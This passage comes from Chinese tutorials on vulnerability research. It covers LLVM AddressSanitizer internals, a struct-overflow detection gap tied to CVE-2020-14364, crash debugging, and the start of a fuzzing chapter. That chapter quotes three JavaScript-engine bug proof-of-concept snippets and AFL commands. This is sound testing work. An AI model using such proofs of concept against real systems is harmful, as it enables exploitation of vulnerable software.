__asan_stack_malloc_N(LocalStackSize)\n  //     : nullptr;\n  // void *LocalStackBase = (FakeStack) ? FakeStack : alloca(LocalStackSize);\n  // 意思是从ShadowTable中分配一块栈内存,这块栈内存是用于异常检测的.__asan_stack_malloc_N()的实现代码在Compiler-RT.\n\n  Value *LocalStackBaseAllocaPtr =\n      isa<PtrToIntInst>(LocalStackBaseAlloca)\n          ? cast<PtrToIntInst>(LocalStackBaseAlloca)->getPointerOperand()\n          : LocalStackBaseAlloca;  // 获取ShadowTable中的栈起始地址\n\n  for (const auto &Desc : SVD) {  // 根据AllocaInst的申请栈分配内存大小和位置,在ShadowTable中重新调整到对应的位置\n    AllocaInst *AI = Desc.AI;\n    Value *NewAllocaPtr = IRB.CreateIntToPtr(\n        IRB.CreateAdd(LocalStackBase, ConstantInt::get(IntptrTy, Desc.Offset)),\n        AI->getType());\n    AI->replaceAllUsesWith(NewAllocaPtr);\n  }\n\n  // 这些插桩代码都不太重要,意义就是在ShadowTable中创建的栈内存记录当前函数的信息\n  Value *BasePlus0 = IRB.CreateIntToPtr(LocalStackBase, IntptrPtrTy);\n  IRB.CreateStore(ConstantInt::get(IntptrTy, kCurrentStackFrameMagic),\n                  BasePlus0);\n  // Write the frame description constant to redzone[1].\n  Value *BasePlus1 = IRB.CreateIntToPtr(\n      IRB.CreateAdd(LocalStackBase,\n                    ConstantInt::get(IntptrTy, ASan.LongSize / 8)),\n      IntptrPtrTy);\n  GlobalVariable *StackDescriptionGlobal =\n      createPrivateGlobalForString(*F.getParent(), DescriptionString,\n                                   /*AllowMerging*/ true, kAsanGenPrefix);\n  Value *Description = IRB.CreatePointerCast(StackDescriptionGlobal, IntptrTy);\n  IRB.CreateStore(Description, BasePlus1);\n  // Write the PC to redzone[2].\n  Value *BasePlus2 = IRB.CreateIntToPtr(\n      IRB.CreateAdd(LocalStackBase,\n                    ConstantInt::get(IntptrTy, 2 * ASan.LongSize / 8)),\n      IntptrPtrTy);\n  IRB.CreateStore(IRB.CreatePointerCast(&F, IntptrTy), BasePlus2);\n\n  const auto &ShadowAfterScope = GetShadowBytesAfterScope(SVD, L);  // 根据SVD中记录栈中各个变量对应的内存位置初始化ShadowTable的栈内存\n\n  Value *ShadowBase = ASan.memToShadow(LocalStackBase, IRB);  // ASan.memToShadow()用于计算进程内存在ShadowTable的偏移位置\n  copyToShadow(ShadowAfterScope, ShadowAfterScope, IRB, ShadowBase);  // 21给函数栈内存投毒\n\n  if (!StaticAllocaPoisonCallVec.empty()) {  // 2.对栈中分配的变量在ShadowTable中消毒\n    const auto &ShadowInScope = GetShadowBytes(SVD, L);\n\n    for (const auto &APC : StaticAllocaPoisonCallVec) {\n      const ASanStackVariableDescription &Desc = *AllocaToSVDMap[APC.AI];\n      assert(Desc.Offset % L.Granularity == 0);\n      size_t Begin = Desc.Offset / L.Granularity;\n      size_t End = Begin + (APC.Size + L.Granularity - 1) / L.Granularity;\n\n      IRBuilder<> IRB(APC.InsBefore);\n      copyToShadow(ShadowAfterScope,\n                   APC.DoPoison ? ShadowAfterScope : ShadowInScope, Begin, End,\n                   IRB, ShadowBase);\n    }\n  }\n  /*\n  投毒再消毒后,ShadowTable的内存数据布局如下:\n  1.ShadowTable分配栈后对内存投毒 =>  F3F3F8F8F1F1F1F1\n  2.对栈中需要用到的变量位置消毒  =>  F3F30000F1F1F1F1\n  此时访问栈变量,获取到的数据就是0x00,为正常数据访问;如果是不允许访问的话,那就必定不为0\n  */\n    \n  SmallVector<uint8_t, 64> ShadowClean(ShadowAfterScope.size(), 0);\n  SmallVector<uint8_t, 64> ShadowAfterReturn;\n\n  for (auto Ret : RetVec) {\n    IRBuilder<> IRBRet(Ret);\n    // Mark the current frame as retired.\n    IRBRet.CreateStore(ConstantInt::get(IntptrTy, kRetiredStackFrameMagic),\n                       BasePlus0);\n      \n    // 简单总结就是在函数返回时清空ShadowTable中的栈数据为0xF5\n    // if FakeStack != 0  // LocalStackBase == FakeStack\n    //     // In use-after-return mode, poison the whole stack frame.\n    //     if StackMallocIdx <= 4\n    //         // For small sizes inline the whole thing:\n    //         memset(ShadowBase, kAsanStackAfterReturnMagic, ShadowSize);\n    //         **SavedFlagPtr(FakeStack) = 0\n    //     else\n    //         __asan_stack_free_N(FakeStack, LocalStackSize)\n    // else\n    //     <This is not a fake stack; unpoison the redzones>\n    Value *Cmp =\n        IRBRet.CreateICmpNE(FakeStack, Constant::getNullValue(IntptrTy));\n    Instruction *ThenTerm, *ElseTerm;\n    SplitBlockAndInsertIfThenElse(Cmp, Ret, &ThenTerm, &ElseTerm);\n\n    IRBuilder<> IRBPoison(ThenTerm);\n    if (StackMallocIdx <= 4) {\n      int ClassSize = kMinStackMallocSize << StackMallocIdx;\n      ShadowAfterReturn.resize(ClassSize / L.Granularity,\n                               kAsanStackUseAfterReturnMagic);\n      copyToShadow(ShadowAfterReturn, ShadowAfterReturn, IRBPoison,\n                   ShadowBase);\n      Value *SavedFlagPtrPtr = IRBPoison.CreateAdd(\n          FakeStack,\n          ConstantInt::get(IntptrTy, ClassSize - ASan.LongSize / 8));\n      Value *SavedFlagPtr = IRBPoison.CreateLoad(\n          IntptrTy, IRBPoison.CreateIntToPtr(SavedFlagPtrPtr, IntptrPtrTy));\n      IRBPoison.CreateStore(\n          Constant::getNullValue(IRBPoison.getInt8Ty()),\n          IRBPoison.CreateIntToPtr(SavedFlagPtr, IRBPoison.getInt8PtrTy()));\n    } else {\n      // For larger frames call __asan_stack_free_*.\n      IRBPoison.CreateCall(\n          AsanStackFreeFunc[StackMallocIdx],\n          {FakeStack, ConstantInt::get(IntptrTy, LocalStackSize)});\n    }\n\n    IRBuilder<> IRBElse(ElseTerm);\n    copyToShadow(ShadowAfterScope, ShadowClean, IRBElse, ShadowBase);\n  }\n}\n```\n\n\n\n  ASAN的实现中有大量的内存分配/操作功能,很显然,如果通过Pass模块把这些函数插入到Module会让Pass非常臃肿,所以ASAN把它的一些核心功能写在了Compiler-RT中,让Clang在链接阶段引入它们.\n\n\n\n#### LLVM-CompilerRT与ASAN内置函数\n\n\n\n  实际上,ASAN在程序运行main()之前就会执行初始化,ASAN把`asan_module_ctor()`函数地址写到.init_array区段,当程序启动时执行`__libc_csu_init()`函数时就会执行`asan_module_ctor()`初始化ASAN内部运行环境.\n\n\n\n```assembly\n.init_array:00000000004F65D8 ; ELF Initialization Function Table\n.init_array:00000000004F65D8 ; ===========================================================================\n.init_array:00000000004F65D8\n.init_array:00000000004F65D8 ; Segment type: Pure data\n.init_array:00000000004F65D8 ; Segment permissions: Read/Write\n.init_array:00000000004F65D8 ; Segment alignment 'qword' can not be represented in assembly\n.init_array:00000000004F65D8 _init_array     segment para public 'DATA' use64\n.init_array:00000000004F65D8                 assume cs:_init_array\n.init_array:00000000004F65D8                 ;org 4F65D8h\n.init_array:00000000004F65D8 __init_array_start dq offset asan_module_ctor  //  ASAN初始化函数\n.init_array:00000000004F65D8                                         ; DATA XREF: __libc_csu_init+6↑o\n.init_array:00000000004F65E0 __frame_dummy_init_array_entry dq offset frame_dummy\n.init_array:00000000004F65E8                 dq offset _GLOBAL__sub_I_asan_rtl_cpp\n.init_array:00000000004F65E8 _init_array     ends\n.fini_array:00000000004F65F0 __init_array_end dq offset asan_module_dtor\n```\n\n\n\n  接下来,`__asan_init()`就会初始化.代码目录在\\llvm-project\\compiler-rt\\lib\\asan\\asan_activation.cpp.\n\n\n\n```c++\nvoid __asan_init() {\n  AsanActivate();\n  AsanInitInternal();\n}\n\nvoid AsanActivate() {\n  asan_deactivated_flags.OverrideFromActivationFlags();  // 从环境变量ASAN_ACTIVATION_OPTIONS中获取ASAN配置\n\n  SetCanPoisonMemory(asan_deactivated_flags.poison_heap);\n  SetMallocContextSize(asan_deactivated_flags.malloc_context_size);\n  ReInitializeAllocator(asan_deactivated_flags.allocator_options);\n}\n\nstatic void AsanInitInternal() {\n  InitializeHighMemEnd();\n  InitializeShadowMemory();\n\n  AllocatorOptions allocator_options;\n  allocator_options.SetFrom(flags(), common_flags());\n  InitializeAllocator(allocator_options);\n\n  InitializeCoverage(common_flags()->coverage, common_flags()->coverage_dir);\n}\n```\n\n\n\n  这只是Compiler-RT ASAN功能的小部分,还有更多有趣的细节读者们可以自行探索.\n\n\n\n#### ASAN检测结构体的Bug\n\n\n\n  笔者在实际场景中发现了个这样问题:**ASAN对结构体内的buffer溢出是不支持检测的**.举个例子:\n\n\n\n```c\n#include <stdlib.h>\n#include <stdio.h>\n\n#define BUFFER_MAX (0x10)\n\n\ntypedef struct {\n    int a;\n    char buffer[BUFFER_MAX];\n    int b;\n    int c;\n} no_check;\n\ntypedef struct {\n    int a;\n    char* buffer;\n    int b;\n    int c;\n} check;\n\n\nint main() {\n    no_check test_obj1 = {0};\n    check test_obj2 = {};\n\n    printf(\"no crash!\\n\");\n    test_obj1.buffer[BUFFER_MAX] = 0xFF;\n\n    printf(\"crash!\\n\");\n    test_obj2.buffer = malloc(BUFFER_MAX);\n    test_obj2.buffer[BUFFER_MAX] = 0xFF;\n\n    return 0;\n}\n```\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -fsanitize=address ./test_case_6.c -o ./test_case_6 && ./test_case_6\nno crash!\ncrash!\n=================================================================\n==529347==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000020 at pc 0x0000004c51f4 bp 0x7ffe84ee9fb0 sp 0x7ffe84ee9fa8\nWRITE of size 1 at 0x602000000020 thread T0\n    #0 0x4c51f3 in main (/home/ubuntu/Desktop/instrument_note/test_case_6+0x4c51f3)\n    #1 0x7f99e1bb6cb1 in __libc_start_main csu/../csu/libc-start.c:314:16\n    #2 0x41b2bd in _start (/home/ubuntu/Desktop/instrument_note/test_case_6+0x41b2bd)\n\n...\n```\n\n\n\n  ASAN为什么会检测失败呢?简单地说,ASAN认为struct结构体是一块连续的内存,即使在内部出现了**char[]**这样的连续数组,即使是触发越界都不会认为是错误.那么我们来看一个真实的例子,qemu usb模块越权读写漏洞CVE-2020-14364.\n\n\n\n```c\nstruct USBDevice {\n    DeviceState qdev;\n    // ...\n    \n    int32_t state;\n    uint8_t setup_buf[8];\n    uint8_t data_buf[4096];\n    int32_t remote_wakeup;\n    int32_t setup_state;\n    int32_t setup_len;\n    int32_t setup_index;\n\n    USBEndpoint ep_ctl;\n    USBEndpoint ep_in[USB_MAX_ENDPOINTS];\n    USBEndpoint ep_out[USB_MAX_ENDPOINTS];\n\n    // ...\n};\n```\n\n\n\n  对data_buf进行越界操作,此时ASAN就无法检测出来漏洞了.qemu的设备对象大部分都是这样声明的,所以就导致即使fuzzer跑出了漏洞,ASAN仍然认为是*正常的*.\n\n  为了解决这个问题,笔者重新对ASAN的插桩代码进行修改,核心思想是:\n\n1. 插桩阶段遍历所有GetElementPtrInst指令,如果指令中存在`char[]`这种Array型变量,那么就在该结构体最后创建新字段用于保存该buffer在ShadowTable中的映射.然后再调整结构体中新字段偏移,让`instrumentMop()`生成的插桩检测逻辑使用ShadowTable中的分配内存来检测而不是原来的结构体内存.\n2. 栈平衡阶段对所有结构体中新创建的字段保存`malloc()`分配的内存,此时越界是可以被内存检测的.\n\n  修改过后的Demo效果如下:\n\n \n\n![](./pic12/Asan-fix-Demo.png)\n\n\n\n## 实战中ASAN会有哪些坑\n\n\n\n#### libasan库缺失如何解决?\n\n\n\n  使用ASAN时有概率会出现下面的问题.\n\n\n\n```sh\n$ g++ -O -g -fsanitize=address heap-use-after-free.cpp\n\n/usr/bin/ld: cannot find /usr/lib64/libasan.so.0.0.0\ncollect2: error: ld returned 1 exit status\n```\n\n\n\n  这是因为在链接阶段没有找到libasan库,前文提到,ASAN的运行时函数是封装在Compiler-RT库中的.所以在正常的编译环境下它会在/usr/lib中出现.\n\n\n\n```sh\nfuzzing@fuzzing-virtual-machine:~/Desktop/test_code$ find /usr/ | grep libasan\n/usr/share/doc/libasan5\n/usr/share/doc/libasan6\n/usr/lib/gcc/x86_64-linux-gnu/8/libasan_preinit.o\n/usr/lib/gcc/x86_64-linux-gnu/8/libasan.a\n/usr/lib/gcc/x86_64-linux-gnu/8/libasan.so\n/usr/lib/gcc/x86_64-linux-gnu/10/libasan_preinit.o\n/usr/lib/gcc/x86_64-linux-gnu/10/libasan.a\n/usr/lib/gcc/x86_64-linux-gnu/10/libasan.so\n/usr/lib/x86_64-linux-gnu/libasan.so.5\n/usr/lib/x86_64-linux-gnu/libasan.so.6\n/usr/lib/x86_64-linux-gnu/libasan.so.6.0.0\n/usr/lib/x86_64-linux-gnu/libasan.so.5.0.0\n```\n\n\n\n  找不到libasan库有两种解决方法:\n\n* 联网环境下,使用`sudo apt install libasan`即可安装.\n* 非联网环境下,找到LLVM Compiler-RT的源码下载编译并`make install`即可.\n\n\n\n#### 模糊测试中遇到老旧不维护的库一直产生崩溃,怎么样让ASAN屏蔽对它的检测?\n\n\n\n  对于这类一直让ASAN产生崩溃但是不知道如何修复的代码,我们可以使用ASAN的黑名单来禁止对这些指定的函数插桩,甚至只对某几个特定的函数做插桩检测.详情参考官方文档 https://clang.llvm.org/docs/SanitizerSpecialCaseList.html\n\n\n\n#### ASAN有哪些常用设置?\n\nASAN_OPTIONS\n\nhttps://github.com/google/sanitizers/wiki/AddressSanitizerFlags\n\n\n\n#### Shadow Table内存粒度有什么意义?\n\n\n\n  Shadow Table需要分配一块比较大的内存,用于对程序对的堆和栈做映射.这块内存能够映射的大小是有限的,所以就需要找到一种方式在尽可能少的内存里面保存更多的内存映射.举个例子:\n\n\n\n```text\nFF FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF\n```\n\n\n\n  这块内存数据表示占用8字节缓冲区进行投毒的内存布局.如果程序中大量使用这样的内存,那么很容易就把ASAN的Shadow Table占满,于是我们就有压缩Shadow Table的需求.压缩之后,Shadow Table的内存布局就变成了:\n\n\n\n```text\nFF FF FF FF 00 FF FF FF FF\n```\n\n\n\n  此时内存占用变小了一半.现在我们再回过来理解内存粒度的概念,未优化时的内存粒度为1,优化之后的内存粒度为8.先来看直观的例子:\n\n\n\n```c\nint main(int argc,char** argv) {\n    char buffer[0x10] = {0};\n\n    buffer[0x10] = 'C';\n\n    return 1;\n}\n\n// 编译参数:clang -fsanitize=address ./test_asan_granularity.c -o ./test_asan_granularity\n```\n\n\n\n![](./pic12/6.png)\n\n\n\n  接下来尝试编译`clang -fsanitize=address -mllvm -asan-mapping-scale=4 ./test_asan_granularity.c -o ./test_asan_granularity`,ASAN的崩溃内容出现了异常.\n\n\n\n![](./pic12/7.png)\n\n\n\n  接下来再观察这个测试用例.因为内存粒度为8字节(为什么要取值为8字节压缩呢?笔者猜测应该是对齐x64平台的数据类型),此时buffer占用4字节,剩下4字节变量a也在Shadow Table压缩的这块内存里.ASAN的处理方法是在这一字节的Shadow Table内存中记录一个标记,标识这里可能会存在内存越界(只要Shadow Table的值不为0就认为是有异常的).\n\n\n\n```c\nint main(int argc,char** argv) {\n    short buffer[2] = {0};\n    long a;\n\n    buffer[3] = 1024;\n\n    return 1;\n}\n```\n\n\n\n![](C:\\Users\\Fremy\\Desktop\\vm\\instrument\\pic12\\8.png)\n\n\n\n  现在我们就可以理解ASAN的这一行输出的意义了:\n\n\n\n```text\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07   // <<<< 这里呀\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n```\n\n\n\n  它的意思是,当前被压缩的内存中存在n字节其它变量占用的内存(n=1-7).\n\n\n\n#### 如何调试使用ASAN的程序?\n\n\n\n  一般地,ASAN崩溃有几种可能:\n\n* ASAN初始化时崩溃,可能是机器上内存不足导致.\n\n* 全局对象初始化时崩溃,比如说C++全局声明的类对象,它会在程序初始化阶段(还记得init_array嘛,就是在这里插入了回调函数实例化全局对象)执行,也会存在内存问题.\n* 运行时库异常,常见于Windows平台上.\n* 创建栈时崩溃.\n* 项目代码崩溃.\n\n\n\n  笔者在上一小节测试内存粒度时遇到了ASAN在函数初始化的阶段创建Shadow Table时直接崩溃了.\n\n\n\n![](./pic12/9.png)\n\n\n\n  从输出我们可以知道,main函数的断点命中之后,接下来执行一次单步调试时就抛出ASAN的检测异常了,也就是说没有执行到用户在main函数中写的任何代码就崩溃了,那么产生崩溃肯定是在ASAN在创建Shadow Table初始化函数栈时触发的崩溃.我们把源程序反编译,查看0x4C500B的汇编.\n\n\n\n![](C:\\Users\\Fremy\\Desktop\\vm\\instrument\\pic12\\10.png)\n\n\n\n  对应的LLVM IR:\n\n\n\n```llvm\n  %21 = inttoptr i64 %20 to i64*\n  store i64 -1012762419733073423, i64* %21, align 1\n```\n\n\n\n  原来是对Shadow Table进行投毒时触发了内存异常,导致程序异常崩溃了,知道原因之后就有思路再去寻找办法解决问题,像这样奇奇怪怪的问题还有很多,只能通过调试去找到问题的根源再解决.\n\n  那么如何调试一次由用户代码触发的崩溃呢?笔者的方法是:\n\n* 根据ASAN栈崩溃信息定位到触发崩溃的代码,并分析漏洞原因是因为那些判断逻辑没有做好检验和关注变量内容.\n* 根据猜想编写gdb脚本.\n* 运行gdb观察值的变化.\n\n\n\n  举个例子,代码某个位置产生了越界访问,于是猜想是不是长度校验判断有问题,编写gdb脚本来监控这两个值的变化:\n\n\n\n```gdb\nb func1\ncommand\nb 1031\ncommand\nprint \">>>>\"\nprint \"Size=\"\nprint array_size\nprint \"offset=\"\nprint offset\nc\nend\nc\nend\n```\n\n\n\n  然后使用gdb命令执行`gdb --command=./gdb_crash_analysis.gsh -arg ./fuzzer file ./crash`,观察崩溃前对应的数值.\n\n\n\n```\nBreakpoint 2, func1 (this=0x7fffffffbae0, stream_0=0x7fffffffbb00, int_2=59852, int_3=1668261324, int_4=60, int_5=45056, int_6=1668246528, int_7=204, \n    class508_0=..., rangeList1_0=0x7fffffff7820, list_0=std::vector of length 2, capacity 2 = {...}, list_1=std::vector of length 2, capacity 2 = {...}, \n    list_0_types=std::vector of length 2, capacity 2 = {...}) at Process.cpp\n1468\t                arrays[j] = *(stream_0->begin() + Position + j);\n$6 = \">>>>\"\n$7 = \"Size=\"\n$8 = 20\n$9 = \"offset=\"\n$10 = 1668261324  // <<<< Overflow !\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x000000000060980e in func1 (this=0x7fffffffbae0, stream_0=0x7fffffffbb00, int_2=59852, int_3=1668261324, int_4=60, int_5=45056, int_6=1668246528, \n    int_7=204, class508_0=..., rangeList1_0=0x7fffffff7820, list_0=std::vector of length 2, capacity 2 = {...}, list_1=std::vector of length 2, capacity 2 = {...}, \n    list_0_types=std::vector of length 2, capacity 2 = {...}) at Process.cpp\n1468\t                arrays[j] = *(stream_0->begin() + Position + j);     ////  <<<  Position = 1668261324 \n(gdb) \n\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==2995382==ERROR: AddressSanitizer: SEGV on unknown address 0x7ff2203d3dcc (pc 0x000000609846 bp 0x7ffc18159c50 sp 0x7ffc18157760 T0)\n==2995382==The signal is caused by a READ memory access.\n    #0 0x609846 in func1(std::vector<unsigned char, std::allocator<unsigned char> >*, int, int, int, int, int, int, C508, RangeList*, std::vector<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > >&, std::vector<int, std::allocator<int> >&, std::vector<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > >&) Process.cpp\n    #1 0x6006e7 in func1(FileReaderHelp*, FileInfo, std::vector<unsigned char, std::allocator<unsigned char> >&, St*, Struct90) Process.cpp\n    # ....\n    #9 0x54c65b in main fuzz_main.cpp\n    #10 0x7ff1c3c26cb1 in __libc_start_main csu/../csu/libc-start.c:314:16\n    #11 0x411c0d in _start (v5+0x411c0d)\n```\n\n\n\n#### x64 ASAN为什么不兼容?\n\n\n\n  有时候在64位平台上使用ASAN编译会提示以下错误(参考链接:https://stackoverflow.com/questions/59007118/how-to-enable-address-sanitizer-at-godbolt-org/59010436#59010436):\n\n\n\n```text\n==3==ERROR: AddressSanitizer failed to allocate 0xdfff0001000 (15392894357504) bytes at address 2008fff7000 (errno: 12)\n==3==ReserveShadowMemoryRange failed while trying to map 0xdfff0001000 bytes. Perhaps you're using ulimit -v\n```\n\n\n\n  在32位引入ASAN编译时,Shadow Table分配内存占用几百MB.但是使用64位ASAN编译时会占用20T内存,因为malloc分配这么大的内存失败,才提示了这个错误.解决方法一般有两个:1.直接限制内存分配大小,让malloc()成功分配;2.设置虚拟内存到交换分区.\n\n  ASAN官方的解决方法是使用ulimit命令来限制内存使用(参考引用:https://github.com/mirrorer/afl/blob/master/docs/notes_for_asan.txt),但是这个方式并不一定有效.所以我们可以使用虚拟内存映射到磁盘交互分区的方式再次尝试(参考引用:https://qastack.cn/unix/44985/limit-memory-usage-for-a-single-linux-process)\n\n\n\n#### ASAN for Windows使用MSVC还是LLVM?\n\n  \n\n\n\nhttps://developercommunity.visualstudio.com/t/enabled-asan-address-sanitizer-for-x64-build-cause/1139763\n\nhttps://devblogs.microsoft.com/cppblog/asan-for-windows-x64-and-debug-build-support/\n\nhttps://docs.microsoft.com/en-us/cpp/build/reference/incremental-link-incrementally?view=msvc-160\n\nhttps://github.com/microsoft/WSL/issues/121\n\n\n\n\n\n\n\n\n\n\n\n#### 主程序和动态链接库的ASAN兼容吗?\n\n  \n\n有空再写\n\n\n\n\n\n\n\n## 参考引用\n\n\n\n1. Compile-time-instrumentation-flow-in-LLVM(https://www.researchgate.net/figure/Compile-time-instrumentation-flow-in-LLVM_fig1_262175489)\n2. LLVM Sanitizer-Coverage Document(https://clang.llvm.org/docs/SanitizerCoverage.html)\n3. LLVM Source-based Code Coverage(https://bcain-llvm.readthedocs.io/projects/clang/en/release_50/SourceBasedCodeCoverage/)\n4. libfuzzer-workshop(https://github.com/Dor1s/libfuzzer-workshop)\n5. LLVM AddressSanitizer Document(https://clang.llvm.org/docs/AddressSanitizer.html)\n6. AddressSanitizer Wiki(https://github.com/google/sanitizers/wiki/AddressSanitizer)\n7. llvm::MemIntrinsic Class Reference(https://llvm.org/doxygen/classllvm_1_1MemIntrinsic.html)\n8. llvm::IntrinsicInst Class Reference(https://llvm.org/doxygen/classllvm_1_1IntrinsicInst.html)\n9. LLVM llvm-lifetime-start-intrinsic(https://llvm.org/docs/LangRef.html#llvm-lifetime-start-intrinsic)\n10. llvm::AllocaInst Class Reference(https://llvm.org/doxygen/classllvm_1_1AllocaInst.html)\n11. llvm::IRBuilder Class Template Reference(https://llvm.org/doxygen/classllvm_1_1IRBuilder.html)\n12. C++全局构造和析构(https://www.jianshu.com/p/56ea6e9d00e9)\n13. CVE-2020-14364 QEMU逃逸 漏洞分析 (含完整EXP)(https://mp.weixin.qq.com/s/MQyczZXRfOsIQewNf7cfXw)\n14. libFuzzer Document(https://llvm.org/docs/LibFuzzer.html)\n15. libFuzzer Source by guidovranken(https://github.com/guidovranken/libfuzzer-gv)\n\n\n\n"
  },
  {
    "path": "2.Fuzzing 模糊测试之数据输入.md",
    "content": "\n\n## 必备工具\n\n  Python ,Source Insight\n\n\n## Fuzzing 与代码覆盖率\n\n  前面一章说到在Github 上快速阅读代码,这样有助于我们去了解关于我们要挖掘漏洞的目标的一些理解,对于程序有了一些理解之后,接下来就可以尝试写些Fuzzing 来跑跑漏洞了.\n  \n  Fuzzing 是模糊测试的意思,我们可以按照给定的格式来生成数据或者随机生成,观察程序有没有处理异常或者程序崩溃.读者要注意的一点是:**二进制Fuzzing 的思路和WEB Fuzzing 的思路是完全不同的**,后面会通过许多的例子来告诉大家二进制和WEB Fuzzing 到底差异在哪里.**Fuzzing 和源码挖洞是相互辅助的!不要把能不能挖到漏洞的锅都丢给Fuzzing ,Fuzzing 不出来就是没有漏洞;也不要把全部的精力都花在阅读源码上,有很多时候会迷失在代码里,忘记上下文到底在做些什么,越看越迷茫.这是成本与收益的博弈,对于代码量较大的程序来说,偏向Fuzzing 的投入产出比较高;对于代码量较小的程序来说,偏向阅读源码的投入产出比较高**.\n  \n  代码覆盖率是说,这次自动化测试触发了的代码占整体代码的比率是多少.要想对一个程序的所有代码都要测试到,这样的代码覆盖率就是100% ,这是不可能的,因为会有很多的功能和代码是需要联合起来触发的,有的代码触发条件逻辑非常复杂,这些都是Fuzzing 的短板,Fuzzing 在对某一个攻击点测试上效果是很好的,一个程序会有很多的攻击点,所以要针对各个不同的攻击点都要写不同的Fuzzer ,提高Fuzzing 代码覆盖率.\n\n\n## Fuzzing 攻击点\n\n  以Python 为例子,Python 的攻击点有三处:库,内部对象,运行环境\n\n\n### Python 库\n\n  关于Python 的库代码,我们可以从Python 安装路径下的`Lib` 目录中找到\n\n![](pic2/python_lib.png)\n\n  每个库都能够去找个针对性的Fuzzer 跑一跑,不过有些Python 库是做系统操作的,**重点挑一些外部数据可以流进来,然后又可以进行处理的**,比如:json,urllib,requests 这些库.本地库找到漏洞有时候利用会比较鸡肋,除非你的渗透对象是云服务(比如SAE 这种只提供一个执行容器的云,那么我们就需要找到一个可以绕过Python 解析器能够直接执行二进制代码的方式来绕过沙盒,如果读者不是很理解这个操作,同样的原理请参考pwn2own 从浏览器到系统system/root 提权),否则能够用利用的地方比较少.这个是我在挖requests 的时候挖到的一个洞,可以在Cookie `max-age` 中设置字符串值触发Cookielib 处理异常,丢弃掉这个Set-cookie 字段,让爬虫无法获取Cookie .传送门:https://github.com/lcatro/Python_CookieLib_0day\n  \n  上面提到的库都是Python 的代码相互调用,但是有一些库是能触发二进制代码的,比如:http://www.freebuf.com/articles/network/27817.html\n  \n  \n### Python 内部对象\n\n  说到Python 内部对象,对没有了解过解析器是如何做到远程代码执行的同学推荐阅读:https://github.com/lcatro/vuln_javascript\n\n  对内部对象做一些的操作,最后可以达到RCE (远程代码执行)的结果.我们先看看PoC 是怎么样的(以JavaScript 为例子,Python 版没有找到,原理都差不多的),Link :https://github.com/tunz/js-vuln-db\n\n```\n\n    PoC 1 :\n\n        function opt() {\n            let obj = '2.3023e-320';\n            for (let i = 0; i < 1; i++) {\n                obj.x = 1;\n                obj = +obj;\n                obj.x = 1;\n            }\n        }\n\n        function main() {\n            for (let i = 0; i < 100; i++) {\n                opt();\n            }\n        }\n\n        main();\n\n\n    PoC 2 :\n    \n        function opt() {\n            let arr = [];\n            return arr['x'];\n        }\n\n        function main() {\n            let arr = [1.1, 2.2, 3.3];\n            for (let i = 0; i < 0x10000; i++) {\n                opt();\n            }\n\n            Array.prototype.__defineGetter__('x', Object.prototype.valueOf);\n\n            print(opt());\n        }\n\n        main();\n        \n        \n    PoC 3 :\n    \n        var f = function()\n        {\n          var o = { a: {}, b: { ba: { baa: 0, bab: [] }, bb: {}, bc: { bca: {bcaa: 0, bcab: 0, bcac: this} } } };\n          o.b.bc.bca.bcab = 0;\n          o.b.bb.bba = Array.prototype.slice.apply(o.b.ba.bab);\n        };\n        while(true) f(f);\n\n```\n\n  细心的你应该能从这些PoC 里面发现了很多Fuzzing 的痕迹,对于这种涉及到解析器运行时产生的问题,是需要构造代码来Fuzzing 的.要展开来讲还需要用很多篇幅,后面还会介绍到一个东西叫AST (抽象语法树),读者们可以结合AST 和js-vuln-db 的PoC 这两个东西一起细细琢磨,很有意思的.\n\n\n### Python 运行环境\n\n  Python 运行环境有两部分:编译和执行.Python 的编译请参考`compile()` 函数,我们关注Python 运行环境的执行部分,对应的源码在`Python/Ceval.c PyEval_EvalFrameEx()`.Python 的OpCode 的格式如下:\n\n```\n\n    | OpCode |                      没有操作数的OpCode\n    | OpCode | OpNum1 |             一个操作数的OpCode\n    | OpCode | OpNum1 | OpNum2 |    两个操作数的OpCode\n\n```\n\n  关于操作码的具体信息在`Include/Opcode.h` 里.那么我们生成的Python 字节码要怎么样才能传递到`PyEval_EvalFrameEx()` 里执行呢?\n  \n  \n## Fuzzing 的入口点\n  \n  找到攻击点之后,还需要给Fuzzing 构建一个入口点,让我们的Fuzzing 生成的数据流能够进入到这些地方去.以AFL 为例子(本篇文章没有介绍AFL 的使用,读者们可以从这里了解更多关于AFL 的使用:https://github.com/lcatro/Fuzzing-ImageMagick ;关于libFuzzer 推荐阅读:https://github.com/Dor1s/libfuzzer-workshop (入门教程);https://github.com/google/fuzzer-test-suite (真实的测试用例)),我们给AFL Fuzzing 的入口点就是命令行,通过使用不同的命令参数组合来触发更多的代码覆盖率,举个例子\n  \n```bash\n\n    afl-fuzz -i samples -o output ./magick convert @@ /dev/null\n    afl-fuzz -i samples -o output ./magick composite @@ /dev/null\n    afl-fuzz -i samples -o output ./magick compare @@ /dev/null\n    afl-fuzz -i samples -o output ./magick montage @@ /dev/null\n\n```\n  \n  AFL 就会把变异的样本传递进去测试,有些库是完全没有像ImageMagick 这种入口的,比如:libGif ,libxml 